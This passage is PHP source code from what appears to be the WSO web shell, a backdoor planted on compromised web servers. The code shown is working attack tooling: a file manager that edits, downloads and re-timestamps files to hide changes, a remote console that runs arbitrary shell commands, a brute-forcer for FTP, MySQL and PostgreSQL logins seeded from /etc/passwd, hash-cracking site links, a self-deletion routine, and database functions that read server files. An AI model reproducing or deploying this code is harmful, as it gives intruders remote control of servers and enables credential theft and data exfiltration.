742<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
743 $dirs = $files = array();
744 $n = count($dirContent);
745 for ($i = 0; $i < $n; $i++) {
746 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
747 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
748 $tmp = array('name' => $dirContent[$i],
749 'path' => $GLOBALS['cwd'] . $dirContent[$i],
750 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
751 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
752 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]),
753 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]),
754 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
755 );
756 if (@is_file($GLOBALS['cwd'] . $dirContent[$i]))
757 $files[] = array_merge($tmp, array('type' => 'file'));
758 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i]))
759 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
760 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
761 $dirs[] = array_merge($tmp, array('type' => 'dir'));
762 }
763 $GLOBALS['sort'] = $sort;
764 /**
765 * @param $a
766 * @param $b
767 * @return float|int
768 */
769 function wsoCmp($a, $b)
770 {
771 if ($GLOBALS['sort'][0] != 'size')
772 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
773 else
774 return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
775 }
776
777 usort($files, "wsoCmp");
778 usort($dirs, "wsoCmp");
779 $files = array_merge($dirs, $files);
780 $l = 0;
781 foreach ($files as $f) {
782 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms']
783 . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
784 $l = $l ? 0 : 1;
785 }
786 echo "<tr><td colspan=7>
787 <input type=hidden name=a value='FilesMan'>
788 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
789 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
790 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
791 if (class_exists('ZipArchive'))
792 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
793 echo "<option value='tar'>Compress (tar.gz)</option>";
794 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']))
795 echo "<option value='paste'>Paste / Compress</option>";
796 echo "</select> ";
797 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
798 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
799 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
800 wsoFooter();
801}
802
803function actionStringTools()
804{
805 if (!function_exists('hex2bin')) {
806 /**
807 * @param $p
808 * @return string
809 */
810 function hex2bin($p)
811 {
812 return decbin(hexdec($p));
813 }
814 }
815 if (!function_exists('binhex')) {
816 /**
817 * @param $p
818 * @return string
819 */
820 function binhex($p)
821 {
822 return dechex(bindec($p));
823 }
824 }
825 if (!function_exists('hex2ascii')) {
826 /**
827 * @param $p
828 * @return string
829 */
830 function hex2ascii($p)
831 {
832 $r = '';
833 for ($i = 0; $i < strLen($p); $i += 2) {
834 $r .= chr(hexdec($p[$i] . $p[$i + 1]));
835 }
836 return $r;
837 }
838 }
839 if (!function_exists('ascii2hex')) {
840 /**
841 * @param $p
842 * @return string
843 */
844 function ascii2hex($p)
845 {
846 $r = '';
847 for ($i = 0; $i < strlen($p); ++$i) $r .= sprintf('%02X', ord($p[$i]));
848 return strtoupper($r);
849 }
850 }
851 if (!function_exists('full_urlencode')) {
852 /**
853 * @param $p
854 * @return string
855 */
856 function full_urlencode($p)
857 {
858 $r = '';
859 for ($i = 0; $i < strlen($p); ++$i) $r .= '%' . dechex(ord($p[$i]));
860 return strtoupper($r);
861 }
862 }
863 $stringTools = array(
864 'Base64 encode' => 'base64_encode',
865 'Base64 decode' => 'base64_decode',
866 'Url encode' => 'urlencode',
867 'Url decode' => 'urldecode',
868 'Full urlencode' => 'full_urlencode',
869 'md5 hash' => 'md5',
870 'sha1 hash' => 'sha1',
871 'crypt' => 'crypt',
872 'CRC32' => 'crc32',
873 'ASCII to HEX' => 'ascii2hex',
874 'HEX to ASCII' => 'hex2ascii',
875 'HEX to DEC' => 'hexdec',
876 'HEX to BIN' => 'hex2bin',
877 'DEC to HEX' => 'dechex',
878 'DEC to BIN' => 'decbin',
879 'BIN to HEX' => 'binhex',
880 'BIN to DEC' => 'bindec',
881 'String to lower case' => 'strtolower',
882 'String to upper case' => 'strtoupper',
883 'Htmlspecialchars' => 'htmlspecialchars',
884 'String length' => 'strlen',
885 );
886 if (isset($_POST['ajax'])) {
887 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
888 ob_start();
889 if (in_array($_POST['p1'], $stringTools))
890 echo $_POST['p1']($_POST['p2']);
891 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
892 echo strlen($temp), "\n", $temp;
893 exit;
894 }
895 if (empty($_POST['ajax']) && !empty($_POST['p1']))
896 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
897 wsoHeader();
898 echo '<h1>String conversions</h1><div class=content>';
899 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
900 foreach ($stringTools as $k => $v)
901 echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
902 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
903 if (!empty($_POST['p1'])) {
904 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
905 }
906 echo "</pre></div><br><h1>Search files:</h1><div class=content>
907 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
908 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
909 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
910 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
911 <tr><td></td><td><input type='submit' value='>>'></td></tr>
912 </table></form>";
913
914 /**
915 * @param $path
916 */
917 function wsoRecursiveGlob($path)
918 {
919 if (substr($path, -1) != '/')
920 $path .= '/';
921 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
922 if (is_array($paths) && @count($paths)) {
923 foreach ($paths as $item) {
924 if (@is_dir($item)) {
925 if ($path != $item)
926 wsoRecursiveGlob($item);
927 } else {
928 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false)
929 echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
930 }
931 }
932 }
933 }
934
935 if (@$_POST['p3'])
936 wsoRecursiveGlob($_POST['c']);
937 echo "</div><br><h1>Search for hash:</h1><div class=content>
938 <form method='post' target='_blank' name='hf'>
939 <input type='text' name='hash' style='width:200px;'><br>
940 <input type='hidden' name='act' value='find'/>
941 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
942 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
943 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
944 </form></div>";
945 wsoFooter();
946}
947
948function actionFilesTools()
949{
950 if (isset($_POST['p1']))
951 $_POST['p1'] = urldecode($_POST['p1']);
952 if (@$_POST['p2'] == 'download') {
953 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
954 ob_start("ob_gzhandler", 4096);
955 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
956 if (function_exists("mime_content_type")) {
957 $type = @mime_content_type($_POST['p1']);
958 header("Content-Type: " . $type);
959 } else
960 header("Content-Type: application/octet-stream");
961 $fp = @fopen($_POST['p1'], "r");
962 if ($fp) {
963 while (!@feof($fp))
964 echo @fread($fp, 1024);
965 fclose($fp);
966 }
967 }
968 exit;
969 }
970 if (@$_POST['p2'] == 'mkfile') {
971 if (!file_exists($_POST['p1'])) {
972 $fp = @fopen($_POST['p1'], 'w');
973 if ($fp) {
974 $_POST['p2'] = "edit";
975 fclose($fp);
976 }
977 }
978 }
979 wsoHeader();
980 echo '<h1>File tools</h1><div class=content>';
981 if (!file_exists(@$_POST['p1'])) {
982 echo 'File not exists';
983 wsoFooter();
984 return;
985 }
986 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
987 if (!$uid) {
988 $uid['name'] = @fileowner($_POST['p1']);
989 $gid['name'] = @filegroup($_POST['p1']);
990 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
991 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
992 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
993 if (empty($_POST['p2']))
994 $_POST['p2'] = 'view';
995 if (is_file($_POST['p1']))
996 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
997 else
998 $m = array('Chmod', 'Rename', 'Touch');
999 foreach ($m as $v)
1000 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
1001 echo '<br><br>';
1002 switch ($_POST['p2']) {
1003 case 'view':
1004 echo '<pre class=ml1>';
1005 $fp = @fopen($_POST['p1'], 'r');
1006 if ($fp) {
1007 while (!@feof($fp))
1008 echo htmlspecialchars(@fread($fp, 1024));
1009 @fclose($fp);
1010 }
1011 echo '</pre>';
1012 break;
1013 case 'highlight':
1014 if (@is_readable($_POST['p1'])) {
1015 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1016 $code = @highlight_file($_POST['p1'], true);
1017 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
1018 }
1019 break;
1020 case 'chmod':
1021 if (!empty($_POST['p3'])) {
1022 $perms = 0;
1023 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i)
1024 $perms += (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1025 if (!@chmod($_POST['p1'], $perms))
1026 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1027 }
1028 clearstatcache();
1029 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
1030 break;
1031 case 'edit':
1032 if (!is_writable($_POST['p1'])) {
1033 echo 'File isn\'t writeable';
1034 break;
1035 }
1036 if (!empty($_POST['p3'])) {
1037 $time = @filemtime($_POST['p1']);
1038 $_POST['p3'] = substr($_POST['p3'], 1);
1039 $fp = @fopen($_POST['p1'], "w");
1040 if ($fp) {
1041 @fwrite($fp, $_POST['p3']);
1042 @fclose($fp);
1043 echo 'Saved!<br><script>p3_="";</script>';
1044 @touch($_POST['p1'], $time, $time);
1045 }
1046 }
1047 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1048 $fp = @fopen($_POST['p1'], 'r');
1049 if ($fp) {
1050 while (!@feof($fp))
1051 echo htmlspecialchars(@fread($fp, 1024));
1052 @fclose($fp);
1053 }
1054 echo '</textarea><input type=submit value=">>"></form>';
1055 break;
1056 case 'hexdump':
1057 $c = @file_get_contents($_POST['p1']);
1058 $n = 0;
1059 $h = array('00000000<br>', '', '');
1060 $len = strlen($c);
1061 for ($i = 0; $i < $len; ++$i) {
1062 $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
1063 switch (ord($c[$i])) {
1064 case 0:
1065 $h[2] .= ' ';
1066 break;
1067 case 9:
1068 $h[2] .= ' ';
1069 break;
1070 case 10:
1071 $h[2] .= ' ';
1072 break;
1073 case 13:
1074 $h[2] .= ' ';
1075 break;
1076 default:
1077 $h[2] .= $c[$i];
1078 break;
1079 }
1080 $n++;
1081 if ($n == 32) {
1082 $n = 0;
1083 if ($i + 1 < $len) {
1084 $h[0] .= sprintf('%08X', $i + 1) . '<br>';
1085 }
1086 $h[1] .= '<br>';
1087 $h[2] .= "\n";
1088 }
1089 }
1090 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1091 break;
1092 case 'rename':
1093 if (!empty($_POST['p3'])) {
1094 if (!@rename($_POST['p1'], $_POST['p3']))
1095 echo 'Can\'t rename!<br>';
1096 else
1097 die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1098 }
1099 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1100 break;
1101 case 'touch':
1102 if (!empty($_POST['p3'])) {
1103 $time = strtotime($_POST['p3']);
1104 if ($time) {
1105 if (!touch($_POST['p1'], $time, $time))
1106 echo 'Fail!';
1107 else
1108 echo 'Touched!';
1109 } else echo 'Bad time format!';
1110 }
1111 clearstatcache();
1112 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1113 break;
1114 }
1115 echo '</div>';
1116 wsoFooter();
1117}
1118
1119function actionConsole()
1120{
1121 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
1122 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
1123 $_POST['p1'] .= ' 2>&1';
1124 } elseif (!empty($_POST['p1']))
1125 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
1126
1127 if (isset($_POST['ajax'])) {
1128 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1129 ob_start();
1130 echo "d.cf.cmd.value='';\n";
1131 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));
1132 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
1133 if (@chdir($match[1])) {
1134 $GLOBALS['cwd'] = @getcwd();
1135 echo "c_='" . $GLOBALS['cwd'] . "';";
1136 }
1137 }
1138 echo "d.cf.output.value+='" . $temp . "';";
1139 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1140 $temp = ob_get_clean();
1141 echo strlen($temp), "\n", $temp;
1142 exit;
1143 }
1144 if (empty($_POST['ajax']) && !empty($_POST['p1']))
1145 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1146 wsoHeader();
1147 echo "<script>
1148if(window.Event) window.captureEvents(Event.KEYDOWN);
1149var cmds = new Array('');
1150var cur = 0;
1151function kp(e) {
1152 var n = (window.Event) ? e.which : e.keyCode;
1153 if(n == 38) {
1154 cur--;
1155 if(cur>=0)
1156 document.cf.cmd.value = cmds[cur];
1157 else
1158 cur++;
1159 } else if(n == 40) {
1160 cur++;
1161 if(cur < cmds.length)
1162 document.cf.cmd.value = cmds[cur];
1163 else
1164 cur--;
1165 }
1166}
1167function add(cmd) {
1168 cmds.pop();
1169 cmds.push(cmd);
1170 cmds.push('');
1171 cur = cmds.length-1;
1172}
1173</script>";
1174 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1175 foreach ($GLOBALS['aliases'] as $n => $v) {
1176 if ($v == '') {
1177 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1178 continue;
1179 }
1180 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1181 }
1182
1183 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1184 if (!empty($_POST['p1'])) {
1185 echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1186 }
1187 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1188 echo '</form></div><script>d.cf.cmd.focus();</script>';
1189 wsoFooter();
1190}
1191
1192function actionLogout()
1193{
1194 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1195 die('bye!');
1196}
1197
1198function actionSelfRemove()
1199{
1200
1201 if ($_POST['p1'] == 'yes')
1202 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1203 die('Shell has been removed');
1204 else
1205 echo 'unlink error!';
1206 if ($_POST['p1'] != 'yes')
1207 wsoHeader();
1208 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1209 wsoFooter();
1210}
1211
1212function actionBruteforce()
1213{
1214 wsoHeader();
1215 if (isset($_POST['proto'])) {
1216 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
1217 if ($_POST['proto'] == 'ftp') {
1218 /**
1219 * @param $ip
1220 * @param $port
1221 * @param $login
1222 * @param $pass
1223 * @return bool
1224 */
1225 function wsoBruteForce($ip, $port, $login, $pass)
1226 {
1227 $fp = @ftp_connect($ip, $port ? $port : 21);
1228 if (!$fp) return false;
1229 $res = @ftp_login($fp, $login, $pass);
1230 @ftp_close($fp);
1231 return $res;
1232 }
1233 } elseif ($_POST['proto'] == 'mysql') {
1234 /**
1235 * @param $ip
1236 * @param $port
1237 * @param $login
1238 * @param $pass
1239 * @return mixed
1240 */
1241 function wsoBruteForce($ip, $port, $login, $pass)
1242 {
1243 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
1244 @mysql_close($res);
1245 return $res;
1246 }
1247 } elseif ($_POST['proto'] == 'pgsql') {
1248 /**
1249 * @param $ip
1250 * @param $port
1251 * @param $login
1252 * @param $pass
1253 * @return mixed
1254 */
1255 function wsoBruteForce($ip, $port, $login, $pass)
1256 {
1257 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1258 $res = @pg_connect($str);
1259 @pg_close($res);
1260 return $res;
1261 }
1262 }
1263 $success = 0;
1264 $attempts = 0;
1265 $server = explode(":", $_POST['server']);
1266 if ($_POST['type'] == 1) {
1267 $temp = @file('/etc/passwd');
1268 if (is_array($temp))
1269 foreach ($temp as $line) {
1270 $line = explode(":", $line);
1271 ++$attempts;
1272 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
1273 $success++;
1274 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1275 }
1276 if (@$_POST['reverse']) {
1277 $tmp = "";
1278 for ($i = strlen($line[0]) - 1; $i >= 0; --$i)
1279 $tmp .= $line[0][$i];
1280 ++$attempts;
1281 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
1282 $success++;
1283 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1284 }
1285 }
1286 }
1287 } elseif ($_POST['type'] == 2) {
1288 $temp = @file($_POST['dict']);
1289 if (is_array($temp))
1290 foreach ($temp as $line) {
1291 $line = trim($line);
1292 ++$attempts;
1293 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
1294 $success++;
1295 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1296 }
1297 }
1298 }
1299 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1300 }
1301 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1302 . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1303 . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">'
1304 . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">'
1305 . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">'
1306 . '<span>Server:port</span></td>'
1307 . '<td><input type=text name=server value="127.0.0.1"></td></tr>'
1308 . '<tr><td><span>Brute type</span></td>'
1309 . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1310 . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1311 . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1312 . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1313 . '<td><input type=text name=login value="root"></td></tr>'
1314 . '<tr><td><span>Dictionary</span></td>'
1315 . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>'
1316 . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1317 echo '</div><br>';
1318 wsoFooter();
1319}
1320
1321function actionSql()
1322{
1323 class DbClass
1324 {
1325 var $type;
1326 var $link;
1327 var $res;
1328
1329 /**
1330 * DbClass constructor.
1331 * @param $type
1332 */
1333 function DbClass($type)
1334 {
1335 $this->type = $type;
1336 }
1337
1338 /**
1339 * @param $host
1340 * @param $user
1341 * @param $pass
1342 * @param $dbname
1343 * @return bool
1344 */
1345 function connect($host, $user, $pass, $dbname)
1346 {
1347 switch ($this->type) {
1348 case 'mysql':
1349 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1350 break;
1351 case 'pgsql':
1352 $host = explode(':', $host);
1353 if (!$host[1]) $host[1] = 5432;
1354 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1355 break;
1356 }
1357 return false;
1358 }
1359
1360 /**
1361 * @param $db
1362 * @return bool
1363 */
1364 function selectdb($db)
1365 {
1366 switch ($this->type) {
1367 case 'mysql':
1368 if (@mysql_select_db($db)) return true;
1369 break;
1370 }
1371 return false;
1372 }
1373
1374 /**
1375 * @param $str
1376 * @return bool
1377 */
1378 function query($str)
1379 {
1380 switch ($this->type) {
1381 case 'mysql':
1382 return $this->res = @mysql_query($str);
1383 break;
1384 case 'pgsql':
1385 return $this->res = @pg_query($this->link, $str);
1386 break;
1387 }
1388 return false;
1389 }
1390
1391 /**
1392 * @return bool
1393 */
1394 function fetch()
1395 {
1396 $res = func_num_args() ? func_get_arg(0) : $this->res;
1397 switch ($this->type) {
1398 case 'mysql':
1399 return @mysql_fetch_assoc($res);
1400 break;
1401 case 'pgsql':
1402 return @pg_fetch_assoc($res);
1403 break;
1404 }
1405 return false;
1406 }
1407
1408 /**
1409 * @return bool
1410 */
1411 function listDbs()
1412 {
1413 switch ($this->type) {
1414 case 'mysql':
1415 return $this->query("SHOW databases");
1416 break;
1417 case 'pgsql':
1418 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1419 break;
1420 }
1421 return false;
1422 }
1423
1424 /**
1425 * @return bool
1426 */
1427 function listTables()
1428 {
1429 switch ($this->type) {
1430 case 'mysql':
1431 return $this->res = $this->query('SHOW TABLES');
1432 break;
1433 case 'pgsql':
1434 return $this->res = $this->query("SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1435 break;
1436 }
1437 return false;
1438 }
1439
1440 /**
1441 * @return bool
1442 */
1443 function error()
1444 {
1445 switch ($this->type) {
1446 case 'mysql':
1447 return @mysql_error();
1448 break;
1449 case 'pgsql':
1450 return @pg_last_error();
1451 break;
1452 }
1453 return false;
1454 }
1455
1456 /**
1457 * @param $str
1458 * @return bool
1459 */
1460 function setCharset($str)
1461 {
1462 switch ($this->type) {
1463 case 'mysql':
1464 if (function_exists('mysql_set_charset'))
1465 return @mysql_set_charset($str, $this->link);
1466 else
1467 $this->query('SET CHARSET ' . $str);
1468 break;
1469 case 'pgsql':
1470 return @pg_set_client_encoding($this->link, $str);
1471 break;
1472 }
1473 return false;
1474 }
1475
1476 /**
1477 * @param $str
1478 * @return array|bool
1479 */
1480 function loadFile($str)
1481 {
1482 switch ($this->type) {
1483 case 'mysql':
1484 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1485 break;
1486 case 'pgsql':
1487 $this->query("CREATE TABLE wso2(file TEXT);COPY wso2 FROM '" . addslashes($str) . "';SELECT file FROM wso2;");
1488 $r = array();
1489 while ($i = $this->fetch())
1490 $r[] = $i['file'];
1491 $this->query('DROP TABLE wso2');
1492 return array('file' => implode("\n", $r));
1493 break;
1494 }
1495 return false;
1496 }
1497
1498 /**
1499 * @param $table
1500 * @param bool $fp
1501 * @return bool
1502 */
1503 function dump($table, $fp = false)
1504 {
1505 switch ($this->type) {
1506 case 'mysql':
1507 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
